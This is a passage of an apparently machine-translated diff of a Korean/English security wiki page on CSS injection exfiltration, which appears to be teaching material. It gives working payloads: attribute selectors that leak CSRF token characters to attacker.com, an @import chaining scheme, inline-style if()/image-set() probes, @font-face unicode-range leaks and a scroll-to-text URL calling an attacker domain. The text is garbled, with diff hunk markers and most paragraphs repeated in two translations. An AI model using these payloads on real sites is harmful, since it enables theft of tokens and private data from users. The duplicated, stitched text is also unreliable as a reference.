CSS 선택자는 `input` 요소의 `name` `value` 속성 값과 일치하도록 작성됩니다. 만약 `input` 요소의 `value` 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
CSS 선택자는 `input` 요소의 `name` `value` 속성 값과 일치하도록 작성됩니다. 만약 `input` 요소의 `value` 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,31 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
하지만 이 접근법은 숨겨진 input 요소(`type="hidden"`)를 다룰 때 한계가 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.
그러나 이 방식은 숨겨진 input 요소(`type="hidden"`)를 다룰 때 제한이 있습니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.
#### 숨겨진 요소 우회 방법
한계를 우회하려면 `~` 일반 형제 결합자 (general sibling combinator)를 사용해 이후의 형제 요소를 타깃할 수 있습니다. 그러면 해당 CSS 규칙이 숨겨진 input 요소 뒤에 오는 모든 형제에 적용되어 배경 이미지가 로드됩니다:
제한을 우회하려면 이후의 형제 요소를 타깃하기 위해 `~` 일반 형제 선택자를 사용할 수 있습니다. 그러면 CSS 규칙이 숨겨진 input 요소 다음에 오는 모든 형제 요소에 적용되어 배경 이미지가 로드됩니다:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
이 기술을 악용한 실제 예시는 제공된 코드 스니펫에 자세히 나와 있습니다. 확인은 [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)에서 할 수 있습니다.
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### CSS Injection을 위한 전제 조건
#### Prerequisites for CSS Injection
For the CSS Injection technique to be effective, certain conditions must be met:
1. **Payload Length**: CSS injection 벡터는 조작된 selectors를 수용할 수 있을 만큼 충분히 긴 payload를 지원해야 합니다.
2. **CSS Re-evaluation**: 페이지를 프레임화(frame)할 수 있는 능력이 있어야 하며, 이는 새로 생성된 payload로 CSS 재평가를 트리거하는 데 필요합니다.
3. **External Resources**: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있다는 가정하에 동작합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.
2. **CSS Re-evaluation**: 페이지를 프레이밍(frame)할 수 있어야 하며, 이는 새로 생성된 payload로 CSS 재평가를 트리거하는 데 필요합니다.
3. **External Resources**: 이 기법은 외부에 호스팅된 이미지를 사용할 수 있다고 가정합니다. 이는 사이트의 Content Security Policy (CSP)에 의해 제한될 수 있습니다.
### Blind Attribute Selector
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements.\
이는 CSS injection을 로드하는 웹 페이지 내부에 무엇이 들어있는지 전혀 모를 때 매우 유용합니다.\
또한 이러한 선택자들을 사용해 동일한 유형의 여러 블록에서 정보를 추출하는 것도 가능합니다. 예:
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -53,34 +52,34 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
이것을 다음 **@import** 기법과 결합하면, **[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)을 사용한 blind 페이지로부터 CSS injection으로 많은 info를 exfiltrate할 수 있습니다.**
### @import
앞선 기법에는 몇 가지 단점이 있으니 사전 조건을 확인하세요. 공격 대상에게 여러 개의 링크를 보낼 수 있어야 하거나, CSS injection 취약 페이지를 iframe할 수 있어야 합니다.
이전 기법에는 몇 가지 단점이 있으니, 사전 요구사항을 확인하세요. 피해자에게 **여러 링크를 보낼 수 있어야 하거나**, 또는 **CSS injection 취약 페이지를 iframe할 수 있어야** 합니다.
하지만 **CSS `@import`**를 사용하는 또 다른 영리한 기법이 있어 기법의 효율을 향상시킬 수 있습니다.
하지만, 기술의 품질을 개선하기 위해 **CSS `@import`**를 사용하는 또 다른 영리한 기법이 있습니다.
방법은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)가 처음에 공개했으며 동작 방식은 다음과 같습니다:
은 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)가 처음 제시했으며, 작동 방식은 다음과 같습니다:
이전처럼 같은 페이지를 매번 수십 개의 서로 다른 payload로 반복 로드하는 대신, 페이지를 한 번만 로드하고 공격자 서버로의 import만 포함시킵니다(이것이 공격 대상에게 보낼 payload입니다):
이전처럼 동일한 페이지를 매번 수십 개의 서로 다른 payload로 반복해서 로드하는 대신, 우리는 **페이지를 한 번만 로드하고 공격자 서버로의 import만 포함시키는 방식**(이것이 피해자에게 보낼 payload이다)을 사용할 것입니다:
```css
@import url("//attacker.com:5001/start?");
```
1. import는 공격자로부터 **일부 CSS script를 받**고 **브라우저가 이를 로드**합니다.
2. 공격자가 보낼 CSS script의 첫 부분은 **다시 공격자 서버로의 또 다른 `@import`**입니다.
1. 공격자 서버는 이 요청에 아직 응답하지 않습니다. 먼저 일부 문자를 leak한 뒤, 다음 문자들을 leak하기 위한 payload로 이 import에 응답하려고 하기 때문입니다.
3. 페이로드의 두 번째이자 더 큰 부분은 **attribute selector leakage payload**가 될 것입니다.
1. 이것은 공격자 서버로 비밀의 **첫 문자와 마지막 문자**를 전송합니다.
4. 공격자 서버가 비밀의 **첫 문자와 마지막 문자**를 수신하면, **2단계에서 요청된 import에 응답**합니다.
1. 응답은 **2, 3, 4단계와 정확히 동일**하지만 이번에는 비밀의 **두 번째 문자와 끝에서 두 번째 문자**를 찾으려고 시도합니다.
1. import는 공격자로부터 **어떤 CSS 스크립트**를 받게 되며 **브라우저가 이를 로드**한다.
2. 공격자가 보낼 CSS 스크립트의 첫 부분은 **또 다른 `@import`로 attackers server에 대한 요청**이다.
1. attackers server는 아직 이 요청에 응답하지 않을 것이다. 우리는 일부 문자를 leak한 다음, 다음 문자들을 leak할 payload로 이 import에 응답하려고 하기 때문이다.
3. payload의 두 번째이자 더 큰 부분은 **attribute selector leakage payload**가 될 것이다.
1. 이것은 attackers server로 **secret의 첫 문자와 마지막 문자**를 전송할 것이다.
4. attackers server가 **secret의 첫 문자와 마지막 문자**를 수신하면, **2단계에서 요청된 import에 응답**할 것이다.
1. 응답은 **단계 2, 3, 4**와 정확히 동일하지만, 이번에는 **secret의 두 번째 문자와 끝에서 두 번째 문자**를 찾으려고 할 것이다.
공격자는 이 루프를 f**ollow 하여 비밀을 완전히 leak**할 때까지 반복합니다.
attacker는 이 루프를 **secret을 완전히 leak할 때까지** 반복한다.
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!TIP]
> 스크립트는 매번 앞에서부터와 뒤에서부터 두 글자씩(총 2 chars) 발견하려고 시도합니다. 이는 attribute selector가 다음과 같은 동작을 허용하기 때문입니다:
> 스크립트는 매번 시작과 끝에서 각각 2개의 문자를 발견하려고 시도한다(앞과 뒤에서). 이는 attribute selector가 다음과 같은 동작을 허용하기 때문이다:
>
> ```css
> /* value^= to match the beggining of the value*/
@ -94,11 +93,11 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
> }
> ```
>
> 이 방식은 스크립트가 secret을 더 빠르게 leak할 수 있게 합니다.
> 이렇게 하면 스크립트가 secret을 더 빠르게 leak할 수 있다.
> [!WARNING]
> 때때로 스크립트는 접두사(prefix) + 접미사(suffix)로 발견된 값이 이미 전체 flag임을 **올바르게 감지하지 못**하고, 앞쪽(prefix)은 계속 앞으로 진행하고 뒤쪽(suffix)은 계속 뒤로 진행하다가 어느 순간 멈출 수 있습니다.\
> 걱정할 필요 없습니다. **output**을 확인하면 **flag를 볼 수 있습니다**.
> 때때로 스크립트는 **발견된 prefix + suffix가 이미 완전한 flag라는 것을 올바르게 감지하지 못**하고, prefix는 앞으로, suffix는 뒤로 계속 진행하다가 어느 시점에서 멈출 수 있다.\
> 걱정할 필요 없다. **output**을 확인하면 **flag를 볼 수 있다**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
@ -107,41 +106,41 @@ This primitive enables exfiltration using only an element's inline style attribu
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: 요소의 style 속성을 제어하고 대상 attribute가 동일 요소에 있어야 합니다 (attr()은 동일 요소의 attribute만 읽습니다).
- Read: attribute를 CSS 변수에 복사합니다: `--val: attr(title)`.
- Decide: 변수를 문자열 후보들과 비교하는 중첩된 조건문으로 URL을 선택합니다: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: `background: image-set(var(--steal))` (또는 네트워크 요청을 트리거하는 다른 fetching 속성)을 적용하여 선택된 엔드포인트로 요청을 강제합니다.
- Sink: 요소의 style 속성을 제어하고 대상 속성이 동일한 요소에 있도록 보장한다 (attr()은 동일 요소의 속성만 읽는다).
- Read: 속성 값을 CSS 변수로 복사한다: `--val: attr(title)`.
- Decide: 변수를 문자열 후보들과 비교하는 중첩된 조건문으로 URL을 선택다: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: `background: image-set(var(--steal))`(또는 네트워크 요청을 발생시키는 다른 속성)를 적용해 선택된 엔드포인트로 요청을 강제한다.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
작동하는 payload(비교에서 큰따옴표 필요):
동작하는 payload (비교 시 큰따옴표 필수):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
중첩된 조건문을 사용한 속성 값 열거:
중첩된 조건문으로 속성 값 열거:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
현실적인 데모 (probing usernames):
실제 시연 (사용자 이름 탐색):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
노트 및 제한사항:
Notes and limitations:
- 연구 시점에는 Chromium 기반 브라우저에서 동작합니다; 다른 엔진에서는 동작이 다를 수 있습니다.
- IDs, flags, 짧은 사용자명 같은 유한/열거 가능한 값 공간에 가장 적합합니다. 외부 스타일시트 없이 임의의 긴 문자열을 훔치는 것은 여전히 어렵습니다.
- URL을 가져오는 모든 CSS 속성(예: background/image-set, border-image, list-style, cursor, content)은 요청을 트리거하는 데 사용할 수 있습니다.
- 유한/열거 가능한 값 공간(IDs, flags, 짧은 사용자명)에 가장 적합합니다. 외부 스타일시트 없이 임의의 긴 문자열을 탈취하는 것은 여전히 어렵습니다.
- URL을 가져오는 모든 CSS 속성은 요청을 트리거하는 데 사용할 수 있습니다(예: background/image-set, border-image, list-style, cursor, content).
자동화: a Burp Custom Action은 중첩된 inline-style 페이로드를 생성해 속성 값을 브루트포스할 수 있습니다: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### 기타 선택자
### 다른 선택자
DOM의 일부에 접근하는 다른 방법들 (**CSS selectors**):
DOM의 일부에 접근하는 다른 방법들 (**CSS selectors** 사용):
- **`.class-to-search:nth-child(2)`**: DOM에서 클래스 "class-to-search"를 가진 두 번째 항목을 검색합니다.
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`.class-to-search:nth-child(2)`**: 이것은 DOM에서 클래스 "class-to-search"를 가진 두 번째 항목을 검색합니다.
- **`:empty`** selector: 예를 들어 [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**에서 사용됨:**
```css
[role^="img"][aria-label="1"]:empty {
@ -149,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### Error 기반 XS-Search
### 오류 기반 XS-Search
참고: [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
전체 목적은 **제어된 엔드포인트에서 커스텀 폰트를 사용**하고, **지정된 리소스(`favicon.ico`)를 로드할 수 없을 때만 해당 폰트로 텍스트(이 경우, 'A')가 표시되도록 하는 것**입니다.
전체 의도는 제어되는 엔드포인트에서 **커스텀 폰트를 사용**하고, 지정된 리소스(`favicon.ico`)를 불러올 수 없을 때만 **텍스트(이 경우, 'A')가 해당 폰트로 표시되도록 하는 것**입니다.
```html
<!DOCTYPE html>
<html>
@ -175,49 +174,49 @@ font-family: "poc";
</body>
</html>
```
1. **커스텀 폰트 사용**:
1. **Custom Font Usage**:
- 커스텀 폰트는 `<head>` 섹션의 `<style>` 태그 안에서 `@font-face` 규칙을 사용해 정의됩니다.
- 폰트 이름은 `poc`이며 외부 엔드포인트(`http://attacker.com/?leak`)에서 로드됩니다.
- `unicode-range` 속성은 `U+0041`로 설정되어 특정 유니코드 문자 'A'를 대상으로 합니다.
- `<head>` 섹션의 `<style>` 태그 내에서 `@font-face` 규칙을 사용해 custom font가 정의되어 있습니다.
- 폰트 이름은 `poc`이며 외부 엔드포인트(`http://attacker.com/?leak`)에서 가져옵니다.
- `unicode-range` 속성은 `U+0041`로 설정되어 특정 유니코드 문자 'A'를 타겟팅합니다.
2. **Object 요소 및 폴백 텍스트**:
- `<body>` 섹션에 `id="poc0"`를 가진 `<object>` 요소가 생성됩니다. 이 요소는 `http://192.168.0.1/favicon.ico`에서 리소스를 로드하려 시도합니다.
2. **Object Element with Fallback Text**:
- `<body>` 섹션에 `id="poc0"` `<object>` 요소가 생성됩니다. 이 요소는 `http://192.168.0.1/favicon.ico`에서 리소스를 로드하려 시도합니다.
- 이 요소의 `font-family``<style>` 섹션에 정의된 대로 `'poc'`로 설정됩니다.
- 리소스(`favicon.ico`) 로드에 실패하면 `<object>` 태그 내부의 폴백 콘텐츠(문자 'A')가 표시됩니다.
- 외부 리소스를 로드할 수 없을 때 폴백 콘텐츠('A')는 커스텀 폰트 `poc`로 렌더링됩니다.
- 해당 리소스(`favicon.ico`)를 불러오지 못하면 `<object>` 태그 내부의 폴백 콘텐츠(문자 'A')가 표시됩니다.
- 외부 리소스를 불러올 수 없는 경우 폴백 콘텐츠('A')는 custom font `poc`로 렌더링됩니다.
### Scroll-to-Text Fragment 스타일링
### Styling Scroll-to-Text Fragment
The **`:target`** pseudo-class는 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에 명시된 대로 **URL fragment**에 의해 대상이 된 요소를 선택하는 데 사용됩니다. `::target-text`는 조각(fragment)에서 텍스트가 명시적으로 타겟팅되지 않는 한 어떤 요소와도 매치되지 않는다는 점을 이해하는 것이 중요합니다.
The **`:target`** pseudo-class는 [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo)에 명시된 대로 URL fragment에 의해 타겟된 요소를 선택하는 데 사용됩니다. `::target-text`는 텍스트가 fragment로 명시적으로 타겟되지 않는 한 어떤 요소와도 매치되지 않는다는 점을 이해하는 것이 중요합니다.
공격자가 **Scroll-to-text** fragment 기능을 악용하면 보안 문제가 발생합니다. 이로 인해 공격자는 HTML injection을 통해 자신의 서버에서 리소스를 로드해 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
공격자가 **Scroll-to-text** fragment 기능을 악용하면 HTML injection을 통해 자신의 서버에서 리소스를 불러와 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있다는 보안 문제가 발생합니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
```css
:target::before {
content: url(target.png);
}
```
이러한 시나리오에서는 페이지에 "Administrator" 텍스트가 존재하면 리소스 `target.png`가 서버에 요청되어 해당 텍스트의 존재를 나타냅니다. 이 공격의 한 사례는 주입된 CSS를 Scroll-to-text fragment와 함께 포함한 특수하게 조작된 URL을 통해 실행할 수 있습니다:
이러한 경우 페이지에 "Administrator" 텍스트가 있으면, 리소스 `target.png`가 서버로 요청되어 해당 텍스트가 존재함을 나타냅니다. 이러한 attack의 한 사례는 주입된 CSS를 Scroll-to-text fragment와 함께 포함하는 특수 제작된 URL을 통해 실행될 수 있습니다:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
여기서 공격자는 HTML injection을 조작하여 CSS 코드를 전송하고, Scroll-to-text fragment (`#:~:text=Administrator`)를 통해 특정 텍스트 "Administrator"을 겨냥합니다. 해당 텍스트가 발견되면 지정된 리소스가 로드되어 그 존재를 공격자에게 의도치 않게 알립니다.
여기서는 공격자가 HTML injection을 조작하여 CSS 코드를 전송하고, Scroll-to-text fragment (`#:~:text=Administrator`)를 통해 특정 텍스트 "Administrator"를 대상으로 합니다. 해당 텍스트가 발견되면 지정된 리소스가 로드되어 공격자에게 그 존재가 의도치 않게 알려집니다.
완화 조치로 다음 사항을 유의해야 합니다:
완화 조치로는 다음 사항들을 주의해야 합니다:
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어 임의의 비밀이나 토큰을 leak하는 능력을 제한합니다.
2. **Restriction to Top-level Browsing Contexts**: STTF는 최상위 브라우징 컨텍스트에서만 작동하며 iframes 내에서는 동작하지 않으므로, 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
3. **Necessity of User Activation**: STTF는 동작하기 위해 user-activation 제스처가 필요하므로 악용은 사용자에 의해 시작된 네비게이션을 통해서만 현실적으로 가능합니다. 이 요구사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건 및 우회(예: social engineering, interaction with prevalent browser extensions)를 지적합니다.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF)는 단어나 문장만 매칭하도록 설계되어 임의의 비밀이나 토큰을 leak할 수 있는 능력을 제한합니다.
2. **Restriction to Top-level Browsing Contexts**: STTF는 최상위 브라우징 컨텍스트에서만 작동하고 iframes 내에서는 동작하지 않아, 어떤 exploitation 시도도 사용자에게 더 눈에 띄게 만듭니다.
3. **Necessity of User Activation**: STTF는 작동을 위해 user-activation 제스처를 필요로 하므로 exploitation은 사용자에 의해 시작된 네비게이션을 통해서만 실현 가능합니다. 이 요구사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 글 작성자는 공격의 자동화를 용이하게 할 수 있는 특정 조건 및 우회 방법(예: social engineering, 널리 사용되는 browser extensions와의 상호작용)을 지적합니다.
이러한 메커니즘과 잠재적 취약점을 인지하는 것이 웹 보안을 유지하고 이러한 악용 전술로부터 보호하는 데 핵심입니다.
자세한 내용은 원문 보고서를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
자세한 내용은 원문 리포트를 확인하세요: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
다음 링크에서 [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)를 확인할 수 있습니다.
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
특정 유니코드 값에 대해 **외부 폰트를 지정할 수 있으며**, 해당 유니코드 값이 페이지에 존재할 때에만 **수집됩니다**. 예를 들어:
페이지에서 특정 유니코드 값에 대해 **외부 폰트(external fonts)를 지정**할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때에만 **수집됩니다**. 예를 들면:
```html
<style>
@font-face {
@ -247,20 +246,20 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**참고:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:
이 기법은 font ligatures를 악용하고 너비 변화를 관찰하여 노드의 텍스트를 추출하는 방법을 설명합니다. 과정은 다음과 같습니다:
1. **커스텀 폰트 생성**:
1. **Creation of Custom Fonts**:
- SVG 폰트는 glyph에 `horiz-adv-x` 속성을 지정하여 두 문자 시퀀스를 나타내는 glyph의 너비를 크게 설정하도록 제작된다.
- 예 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, 여기서 "XY"는 두 문자 시퀀스를 의미한다.
- 그런 다음 이 폰트들은 fontforge를 사용해 woff 포맷으로 변환된다.
- SVG fonts를 만들어 glyph에 `horiz-adv-x` 속성을 설정하여 두 문자 시퀀스를 나타내는 glyph의 너비를 크게 만듭니다.
- 예 SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, 여기서 "XY"는 두 글자 시퀀스를 나타냅니다.
- 그런 다음 이 폰트들을 fontforge를 사용해 woff 포맷으로 변환합니다.
2. **너비 변화 감지**:
2. **Detection of Width Changes**:
- 텍스트가 줄 바꿈되지 않도록(`white-space: nowrap`) 하고 스크롤바 스타일을 사용자화하기 위해 CSS를 사용한다.
- 특이하게 스타일된 수평 스크롤바의 등장으로 특정 ligature, 즉 특정 문자 시퀀스가 텍스트에 존재함을 표시하는 지표(oracle)로 작동한다.
- CSS로 텍스트가 줄 바꿈되지 않도록 (`white-space: nowrap`) 하고 스크롤바 스타일을 커스터마이즈합니다.
- 가로 스크롤바가 특정하게 스타일링되어 나타나는 것은 특정 ligature(따라서 특정 문자 시퀀스)가 텍스트에 존재함을 나타내는 오라클 역할을 합니다.
- 관련 CSS:
```css
body {
@ -276,28 +275,28 @@ background: url(http://attacker.com/?leak);
3. **Exploit Process**:
- **Step 1**: 너비가 큰 두 문자 쌍에 대해 폰트를 생성한다.
- **Step 2**: 스크롤바 기반 기법을 이용해 대형 glyph(문자 쌍에 대한 ligature)가 렌더링될 때 이를 감지하여 해당 문자 시퀀스의 존재를 식별한다.
- **Step 3**: ligature를 감지하면, 감지된 쌍에 앞뒤 문자 하나를 추가해 세 문자 시퀀스를 나타내는 새 glyph들을 생성한다.
- **Step 4**: 세 문자 ligature의 감지를 수행한다.
- **Step 5**: 이 과정을 반복해 텍스트 전체를 점진적으로 드러낸다.
- **Step 1**: 폭이 큰 쌍 문자(pair)용 폰트를 생성합니다.
- **Step 2**: 큰 너비 glyph(ligature)가 렌더링될 때를 감지하기 위해 스크롤바 기반 트릭을 사용하여 해당 문자 시퀀스의 존재를 확인합니다.
- **Step 3**: ligature가 감지되면, 감지된 쌍을 포함하고 앞뒤에 문자를 추가한 세 글자 시퀀스를 나타내는 새로운 glyph를 생성합니다.
- **Step 4**: 세 글자 ligature의 감지를 수행합니다.
- **Step 5**: 이 과정을 반복하여 전체 텍스트를 점진적으로 드러냅니다.
4. **최적화**:
- 현재 `<meta refresh=...`를 사용한 초기화 방법은 최적이 아니다.
- 더 효율적인 방법으로는 CSS `@import` 트릭을 사용해 exploit의 성능을 향상시키는 것이 있다.
4. **Optimization**:
- 현재 `<meta refresh=...`를 사용하는 초기화 방법은 최적이 아닙니다.
- 더 효율적인 접근법으로 CSS `@import` 트릭을 사용하면 exploit 성능을 향상시킬 수 있습니다.
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**참고:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). 텍스트 노드에서 사용된 charset은 브라우저에 설치된 **default fonts**를 사용해 leaked 될 수 있다: 외부 또는 custom 폰트는 필요 없다.
이 트릭은 이 [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)에서 공개되었습니다. text node에서 사용된 charset은 브라우저에 기본 설치된 기본 폰트만 사용하여도 유출될 수 있습니다: 외부 폰트나 커스텀 폰트가 필요 없습니다.
이 개념은 애니메이션을 이용해 `div`의 너비를 점진적으로 확장시켜 한 번에 하나씩 문자가 텍스트의 'suffix' 부분에서 'prefix' 부분으로 이동하게 하는 것이다. 이 과정은 텍스트를 실질적으로 두 부분으로 분리한다:
개념은 애니메이션을 사용해 `div`의 너비를 점진적으로 확장하여 한 번에 한 문자씩 텍스트의 'suffix' 부분에서 'prefix' 부분으로 이동하게 하는 것입니다. 이 과정은 텍스트를 두 부분으로 나눕니다:
1. **Prefix**: 초기 줄.
2. **Suffix**: 이후 줄들.
1. Prefix: 초기 라인.
2. Suffix: 이후 라인들.
문자들의 전환 단계는 다음과 같이 보일 것이다:
문자들의 전이 단계는 다음과 같이 보입니다:
**C**\
ADB
@ -310,15 +309,15 @@ B
**CADB**
이 전환 동안, **unicode-range trick**을 사용해 새로운 문자가 prefix에 합류할 때마다 식별한다. 이는 폰트를 Comic Sans로 전환함으로써 이루어지는데, Comic Sans는 default font보다 눈에 띄게 높기 때문에 세로 스크롤바가 발생한다. 이 스크롤바의 등장으로 prefix에 새로운 문자가 들어왔음이 간접적으로 드러난다.
이 전이 동안, **unicode-range trick**을 사용해 prefix에 합류하는 각 새 문자를 식별합니다. 이는 글꼴을 Comic Sans로 전환함으로써 이루어지며, Comic Sans가 기본 폰트보다 눈에 띄게 더 높기 때문에 수직 스크롤바가 발생합니다. 이 스크롤바의 출현은 새로운 문자가 prefix에 들어왔음을 간접적으로 드러냅니다.
이 방법은 개별 문자가 등장할 때 이를 감지할 수 있게 해주지만, 어떤 문자가 반복되었는지는 특정하지 못하고 단지 반복이 발생했다는 사실만 알려준다.
이 방법은 등장하는 고유 문자를 감지할 수 있지만, 어떤 문자가 반복되었는지는 특정하지 못하고 단지 반복이 발생했음을 알리는 것뿐입니다.
> [!TIP]
> 기본적으로, **unicode-range is used to detect a char**, 하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 한다.\
> 문자가 **found**되면 사전 설치된 **Comic Sans font**가 적용되어 문자가 **bigger**해지고 **triggers a scroll bar**가 발생하며, 이는 발견된 문자를 **leak**한다.
> 기본적으로 **unicode-range**는 문자를 감지하는 데 사용됩니다, 하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 합니다.\
> **char**가 **찾아지면**, 그 문자에는 사전 설치된 **Comic Sans** 폰트가 **적용**되어 문자가 **더 커지고** 결과적으로 **스크롤바를 트리거**하며 이는 찾아진 문자를 **leak**합니다.
PoC에서 추출한 코드를 확인하라:
Check the code extracted from the PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -743,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Text node exfiltration (III): leaking the charset — 기본 폰트를 사용해 요소를 숨기는 방식 (외부 자산 불필요) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
